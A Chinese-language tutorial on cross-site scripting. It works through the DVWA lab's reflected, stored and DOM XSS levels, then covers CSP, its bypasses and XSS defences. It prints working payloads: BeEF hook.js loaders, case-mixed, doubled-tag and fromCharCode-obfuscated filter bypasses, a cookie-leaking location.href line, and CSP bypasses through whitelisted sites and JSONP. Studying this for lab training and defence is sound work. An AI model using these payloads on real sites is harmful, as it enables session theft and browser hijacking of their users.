二进制选手的web安全之路(0x1) : XSS跨站脚本攻击
字数 2215 2025-08-10 12:18:03
XSS跨站脚本攻击全面解析
1. XSS基础概念
XSS (Cross-Site Scripting) 指Web应用代码注入,攻击者向Web页面插入恶意Script代码(如JavaScript脚本、CSS等)。用户浏览该页面时会执行其中嵌入的Script代码,从而可能导致:
- 获取cookie、session、token等敏感信息
- 对用户进行钓鱼欺诈
- 执行任意客户端脚本操作
2. XSS类型分类
2.1 反射型XSS(非持久性XSS)
特点:
- 恶意代码不保存到目标网站
- 将恶意代码放在请求的响应结果中
- 浏览器解析后触发XSS
- 一般需要引诱用户点击恶意链接
DVWA示例分析:
Low级别
<?php
if(array_key_exists("name", $_GET) && $_GET['name'] != NULL) {
echo '<pre>Hello ' . $_GET['name'] . '</pre>';
}
?>
攻击方式:
http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=<script>alert("hello")</script>
BeEF利用:
<script src="http://192.168.152.128:3000/hook.js"></script>
Medium级别
<?php
$name = str_replace('<script>', '', $_GET['name']); // 区分大小写
echo "<pre>Hello {$name}</pre>";
?>
绕过方式:大小写变异
<Script src="http://192.168.152.128:3000/hook.js"></Script>
High级别
<?php
$name = preg_replace('/<s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET['name']);
echo "<pre>Hello {$name}</pre>";
?>
绕过方式:使用String.fromCharCode编码
2.2 存储型XSS
特点:
- 恶意代码被保留在目标网站中
- 受害者浏览包含此恶意代码的网站就会执行
- 常见于个人信息、留言、评论、博客等交互处
DVWA示例分析:
Low级别
<?php
$message = trim($_POST['mtxMessage']);
$name = trim($_POST['txtName']);
$message = stripslashes($message);
$message = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message);
$name = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name);
$query = "INSERT INTO guestbook (comment, name) VALUES ('$message', '$name')";
?>
攻击方式:
<script src="http://192.168.152.128:3000/hook.js">
Medium级别
<?php
$message = strip_tags(addslashes($message));
$message = htmlspecialchars($message);
$name = str_replace('<script>', '', $name);
?>
绕过方式:双写绕过
<scrip<script>t>http://192.168.152.128:3000/hook.js</scrip<script>t>
High级别
<?php
$name = preg_replace('/<s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name);
?>
绕过方式:同反射型High级别,使用String.fromCharCode编码
2.3 DOM型XSS
特点:
- 通过前端JS渲染完成数据交互
- '#'后面的内容不会发送到服务器
- 不经过服务器过滤器
- 与反射型、存储型的区别在于不与服务器交互
DVWA示例分析:
Low级别
<?php # No protections, anything goes ?>
攻击方式:
http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=<script src="http://192.168.152.128:3000/hook.js"></script>
Medium级别
<?php
if(stripos($default, "<script") !== false) {
header("location: ?default=English");
exit;
}
?>
绕过方式:更换闭合方式
</option></select><iframe onload="eval('var s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.src=String.fromCharCode(104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,49,53,50,46,49,50,56,58,51,48,48,48,47,104,111,111,107,46,106,115);document.head.appendChild(s);')">
High级别
<?php
switch($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
break;
default:
header("location: ?default=English");
exit;
}
?>
绕过方式:使用#本地解析
?default=English#<script src="http://192.168.152.128:3000/hook.js"></script>
3. CSP内容安全策略
CSP(Content Security Policy)是网页应用中常见的安全保护机制,采取白名单制度,告诉客户端哪些外部资源可以加载和执行。
3.1 CSP设置方式
HTTP消息头设置:
Content-Security-Policy: default-src 'self'; script-src 'self' allowed.com; img-src 'self' allowed.com; style-src 'self';
HTML Meta标签设置:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
3.2 CSP指令列表
| 指令 | 说明 |
|---|---|
| script-src | 外部脚本 |
| style-src | 样式表 |
| img-src | 图像 |
| media-src | 媒体文件(音频和视频) |
| font-src | 字体文件 |
| object-src | 插件(如Flash) |
| child-src | 框架 |
| frame-ancestors | 嵌入的外部资源 |
| connect-src | HTTP连接(XHR, WebSockets等) |
| worker-src | worker脚本 |
| manifest-src | manifest文件 |
| default-src | 默认配置 |
| frame-ancestors | 限制嵌入框架的网页 |
| base-uri | 限制<base#href> |
| form-action | 限制<form#action> |
| block-all-mixed-content | HTTPS网页不得加载HTTP资源 |
| upgrade-insecure-requests | 自动将HTTP链接换成HTTPS |
| plugin-types | 限制可以使用的插件格式 |
| sandbox | 浏览器行为的限制 |
3.3 CSP指令值
*: 允许任何URL资源self: 仅允许同源资源data: 仅允许数据模式(如Base64编码图片)none: 不允许任何资源unsafe-inline: 允许使用内联资源(不推荐)nonce: 使用一次性加密字符定义可执行的内联js脚本
3.4 CSP绕过技术
location.href绕过
<script>location.href="http://127.0.0.1"+document.cookie;</script>
DVWA CSP绕过示例
Low级别
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com";
攻击方式:
- 在白名单网站(如pastebin.com)创建JS代码
- 输入链接如:https://pastebin.com/raw/Qp0pTUvF
Medium级别
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
攻击方式:
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert("XSS")</script>
High级别
$headerCSP = "Content-Security-Policy: script-src 'self';";
攻击方式:利用JSONP回调
<script src="source/jsonp.php?callback=alert('xss');"></script>
4. XSS防御措施
- 输入过滤:对用户输入进行严格过滤
- 输出编码:对输出到页面的内容进行HTML编码
- 使用CSP策略:合理配置内容安全策略
- HttpOnly标志:设置cookie的HttpOnly属性
- 使用现代框架:如React、Vue等自带XSS防护
- 定期安全测试:进行XSS漏洞扫描和渗透测试
5. 高级绕过技术
- HTML事件属性:
onerror,onload,onmouseover等 - SVG标签:
<svg onload="alert(1)"> - 编码绕过:HTML实体编码、URL编码、Unicode编码等
- 动态构造:使用
String.fromCharCode等动态构造字符串 - 协议限定绕过:
javascript:alert(1)等
6. 实战工具
- BeEF (Browser Exploitation Framework):用于XSS攻击后的浏览器控制
- XSS Hunter:自动化XSS漏洞检测工具
- Burp Suite:用于测试和发现XSS漏洞
- OWASP ZAP:集成XSS扫描功能的安全测试工具
通过全面理解XSS攻击原理、类型、绕过技术和防御措施,可以更好地保护Web应用安全,同时也能更有效地进行安全测试和漏洞挖掘。